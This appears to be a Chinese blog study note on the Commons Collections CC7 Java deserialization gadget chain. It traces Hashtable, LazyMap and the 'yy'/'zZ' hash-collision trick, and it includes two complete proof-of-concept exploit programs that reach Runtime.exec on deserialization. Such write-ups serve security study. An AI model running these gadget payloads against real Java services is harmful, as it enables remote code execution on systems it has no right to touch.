cc链7

CC7 依旧是寻找 LazyMap 的触发点,这次用到了 Hashtable。

前置知识

Hashtable

Hashtable 与 HashMap 十分相似,是一种 key-value 形式的哈希表,但仍然存在一些区别:

  • HashMap 继承 AbstractMap,而 Hashtable 继承 Dictionary ,可以说是一个过时的类。
  • 两者内部基本都是使用“数组-链表”的结构,但是 HashMap 引入了红黑树的实现。
  • Hashtable 的 key-value 不允许为 null 值,但是 HashMap 则是允许的,后者会将 key=null 的实体放在 index=0 的位置。
  • Hashtable 线程安全,HashMap 线程不安全。

那既然两者如此相似,Hashtable 的内部逻辑能否触发反序列化漏洞呢?答案是肯定的。

利用分析

hashcode

Hashtable 的 readObject 方法中,最后调用了 reconstitutionPut 方法将反序列化得到的 key-value 放在内部实现的 Entry 数组 table 里。

1
2
3
4
5
6
7
8
9
    for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// sync is eliminated for performance
reconstitutionPut(table, key, value);
}
}

reconstitutionPut 调用了 key 的 hashCode 方法。

1
2
3
4
5
6
7
8
9
10
    private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}

int hash = key.hashCode();//
....
}

学过之前的算简单了,没像PriorityQueue那样多套几层

同样的需要注意条件,在put的时候也会使用使用hashcode函数

所以用 Hashtable 跟 HashMap 触发 LazyMap 方式差不多

1
2
3
4
5
6
7
8
9
10
11
12
    public synchronized V put(K key, V value) {
// Make sure the value is not null
if (value == null) {
throw new NullPointerException();
}

// Makes sure the key is not already in the hashtable.
Entry<?,?> tab[] = table;
int hash = key.hashCode();//这里会调用hashcode
int index = (hash & 0x7FFFFFFF) % tab.length;
...
}
equals

但是在ysoserial中利用点不是这个,通过AbstractMap#equals来触发对LazyMap#get方法的调用,而且AbstractMap是一个抽象类,hashmap是它的子类并且没有重写equals方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public abstract class AbstractMap<K,V> implements Map<K,V> {}
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;//传入的对象
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))//这里也会调用
return false;
} else {
if (!value.equals(m.get(key)))//这里会调用传入Map的get方法
return false;
}
}

如果这里的m是我们可控的,那么我们设置m为LazyMap,即可完成后面的rce触发。

先寻找调用equals方法的点,cc7中使用了HashTable#reconstitutionPut:

先正向更进吧,从我们创了一个类开始,我们干了什么,先看构造方法,有三个本质是还是只有一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
    public Hashtable(int initialCapacity) {
this(initialCapacity, 0.75f);
}

public Hashtable() {
this(11, 0.75f);
}

public Hashtable(int initialCapacity, float loadFactor) {
if (initialCapacity < 0)
throw new IllegalArgumentException("Illegal Capacity: "+
initialCapacity);
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new IllegalArgumentException("Illegal Load: "+loadFactor);

if (initialCapacity==0)
initialCapacity = 1;
this.loadFactor = loadFactor;
table = new Entry<?,?>[initialCapacity];
threshold = (int)Math.min(initialCapacity * loadFactor, MAX_ARRAY_SIZE + 1);//一个扩容阈值
}
Entry类在Hashtable中的构造方法是这样是这样的
protected Entry(int hash, K key, V value, Entry<K,V> next) {
this.hash = hash;// final int
this.key = key;// final K
this.value = value;//v
this.next = next;// Entry<K,V>
}

看到这里初始化创建了table,但是没有赋值操作,接下来就是我们put会发送什么了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
  public synchronized V put(K key, V value) {
//这里要求传入的值不能为空不然就报错
if (value == null) {
throw new NullPointerException();
}
Entry<?,?> tab[] = table;
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;//想当与把hash值作为存放一个位置的依据了
@SuppressWarnings("unchecked")
Entry<K,V> entry = (Entry<K,V>)tab[index];//把这表的值给一个entry
for(; entry != null ; entry = entry.next) {
if ((entry.hash == hash) && entry.key.equals(key)) {
V old = entry.value;
entry.value = value;
return old;
}
}
addEntry(hash, key, value, index);
return null;
}

我们发现第一次put并不会进入循环,因为第一次put从来没有给table赋予过值,来看看addEntry方法干了什么

1
2
3
4
5
6
7
8
9
10
11
12
13
private void addEntry(int hash, K key, V value, int index) {
modCount++;
Entry<?,?> tab[] = table;
if (count >= threshold) {//如果数量超过阈值了,不用管
rehash();
tab = table;
hash = key.hashCode();
index = (hash & 0x7FFFFFFF) % tab.length;
}
Entry<K,V> e = (Entry<K,V>) tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

所以就是赋了一对值进去

第二次put发现,如果第二个传入的key如果和第一个key相同的话,是会覆盖值的,并不会新加一个值,因为return了

1
2
3
4
5
6
for(; entry != null ; entry = entry.next) {
if ((entry.hash == hash) && entry.key.equals(key)) {
V old = entry.value;
entry.value = value;
return old;
}

但是我们想触发反序列就得这里hash相等,而equals不相等了后面再说

现在来看看writeObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
private void writeObject(java.io.ObjectOutputStream s)
throws IOException {
Entry<Object, Object> entryStack = null;

synchronized (this) {
// Write out the threshold and loadFactor
s.defaultWriteObject();

// Write out the length and count of elements
s.writeInt(table.length);
s.writeInt(count);

// Stack copies of the entries in the table
for (int index = 0; index < table.length; index++) {
Entry<?,?> entry = table[index];

while (entry != null) {
entryStack =
new Entry<>(0, entry.key, entry.value, entryStack);
entry = entry.next;
}
}
}

// Write out the key/value objects from the stacked entries
while (entryStack != null) {
s.writeObject(entryStack.key);
s.writeObject(entryStack.value);
entryStack = entryStack.next;
}
}

发现就是遍历了表的数据将key,value写进去了而已

继续看readObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
...
table = new Entry<?,?>[length];//这里的表是空表,而且我们看了序列化并没有写table进去
threshold = (int)Math.min(length * lf, MAX_ARRAY_SIZE + 1);
count = 0;
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// sync is eliminated for performance
reconstitutionPut(table, key, value);
}
}

所以这里进入reconstitutionPut函数值都是我们可控的,继续看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {//还是值不能为空
throw new java.io.StreamCorruptedException();
}
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {//
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

发现这里和put都出不多的,所以第一次还是不会触发 e.key.equals(key),
看看第二次,我们要第二次传入的hash值跟第一次一样才能触发(个布尔短路运输的特性),e.key.equals(key),我们可以通过反射来修改这个值就行了

ysoserial这⾥设置e.key为LazyMap对象,由于LazyMap下没有equals⽅法,所以它会调⽤⽗类AbstractMapDecorator.equals⽅ 法

1
2
3
4
5
6
public boolean equals(Object object) {
if (object == this) {
return true;
}
return map.equals(object);
}

这里map是我们在lazymap中可以控制的map,我们想它是hashmap(这样才能触发AbstractMap的equals方法),现在看看利用点

这里的传入object,是第二个key是lazymap,因为在AbstractMap的equals方法,调用的是传进来map的get方法,我们想它是lazymap才能触发链子后续,所以传入的必须是lazymap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;//传入的对象
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))//这里会调用传入Map的get方法
return false;
}
}

重点是怎么让他们hashcode相等,来看看lazymap的hashcode,因为lazymap没有重写hashcode方法会调用父类的AbstractMapDecorator的hashcode了,所以这里又会调用hashmap的hashcode,来看看

1
2
3
public int hashCode() {
return map.hashCode();
}

发现调用是传入map的值我们传入的hashmap来看看

1
2
3
public final int hashCode() {
return Objects.hashCode(key) ^ Objects.hashCode(value);
}

所以想要hashcode相等让他们这里就里相等就行了

都为空肯定相等吧来

所以来先把利用链一步一步搓出来,第一步是让hashtable先放入2个值

1
2
3
4
5
6
7
HashMap hashmap1 = new HashMap();
HashMap hashmap2 = new HashMap();
LazyMap map1 =(LazyMap) LazyMap.decorate(hashmap1,fack);
LazyMap map2 =(LazyMap) LazyMap.decorate(hashmap2,fack);
Hashtable table = new Hashtable();
table.put(map1.1)
table.put(map2,1);

来看看这样会发生什么,在第二次put调用hashcode的时候也会调用一次equals

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
        if (m.size() != size())
return false;//数量不等也会返回flase
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
}
...return true;

发现不管hashmap不为空才能进入while循环,有没有设置值都会触发一次第二个Laymap的get方法,而且我们都得想办法为false才行,而且之前就说过了lazymap的get方法了

1
2
3
4
5
6
7
8
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

如果没有值,第一次会创一个进去,在这里put创了值了,就导致里面的map又不相同了,多了传入进来的key,所以后面得删除一次

问题是怎么让hashcode相等了

在java中有一个小bug:”yy”.hashCode() == “zZ”.hashCode()

正是这个小bug让这里能够利用,所以这里我们需要将map中put的值设置为yy和zZ,就能让hashcode相等了

然后get方法会调用transform赋予值给value,让他们不相等transform返回值不相等map1的value就行了

所以重新写

1
2
3
4
5
6
7
8
9
10
HashMap hashmap1 = new HashMap();
HashMap hashmap2 = new HashMap();
hashmap1.put("yy",1);
hashmap2.put("zZ",1);
LazyMap map1 =(LazyMap) LazyMap.decorate(hashmap1,fack);
LazyMap map2 =(LazyMap) LazyMap.decorate(hashmap2,fack);
Hashtable table = new Hashtable();
table.put(map1.1)
table.put(map2,1);
map2.remove("yy");

这样就没什么问题了,但是其实第一个我们都可以不用Lazymap,因为第一个其实实际上最后用的都是hashmap的方法,所以通过反射修改里面fack链改为正常的就行了

攻击构造

hashcode()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;

public class CC7 {
public static void main(String[] args) throws Exception{
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
});
ChainedTransformer fack = new ChainedTransformer(new Transformer[]{});
LazyMap map = (LazyMap) LazyMap.decorate(new HashMap(),fack);
TiedMapEntry entry = new TiedMapEntry(map,"baicany");
Hashtable table = new Hashtable();
table.put(entry,"baicany");
Field f= LazyMap.class.getDeclaredField("factory");
f.setAccessible(true);
f.set(map,chain);
map.clear();
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc7.txt"));
outputStream.writeObject(table);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc7.txt"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}

后面也可以用c3链的后续,反正随便拼了,反射改值也可以改其他的

equal()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;

public class CC7 {
public static void main(String[] args) throws Exception{
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
});
ChainedTransformer fack = new ChainedTransformer(new Transformer[]{});
HashMap map1 = new HashMap<>();
HashMap map2 = new HashMap<>();
map1.put("yy","baicany");
map2.put("zZ","baicany");
LazyMap lazymap1 = (LazyMap) LazyMap.decorate(map1,fack);
LazyMap lazymap2 = (LazyMap) LazyMap.decorate(map2,fack);
Hashtable table = new Hashtable<>();
table.put(lazymap1,"baicany");//也可以table.put(map1,"baicany");
table.put(lazymap2,"baicany");
map2.remove("yy");
Field f = LazyMap.class.getDeclaredField("factory");
f.setAccessible(true);
f.set(lazymap2,chain);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc7.txt"));
outputStream.writeObject(table);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc7.txt"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}

哪里也可以改成这样反正没什么区别

利用链

1
2
3
4
5
6
Hashtable.readOject->
Hashtable.reconstitutionPut->
TiedMapEntry.hashcode->
Lazy.map->
ChainedTransformer.transformer->
....
1
2
3
4
5
Hashtable.readOject->
Hashtable.reconstitutionPut->
AbstractMap.equals->
LazyMap.get->
transformer()->

这个利用缩了中间利用部分,如果是ysoserial的话

1
2
3
4
5
6
7
8
9
Hashtable.readOject->
Hashtable.reconstitutionPut->
LazyMap.equals->
AbstractMapDecorator.equals->
HashMap.equals->
AbstractMap.equals->
LazyMap.get->
transformer()
->....

cc链到此就完啦,终于搞完啦,最后一条链子还当头一棒啊

依赖版本

commons-collections : 3.1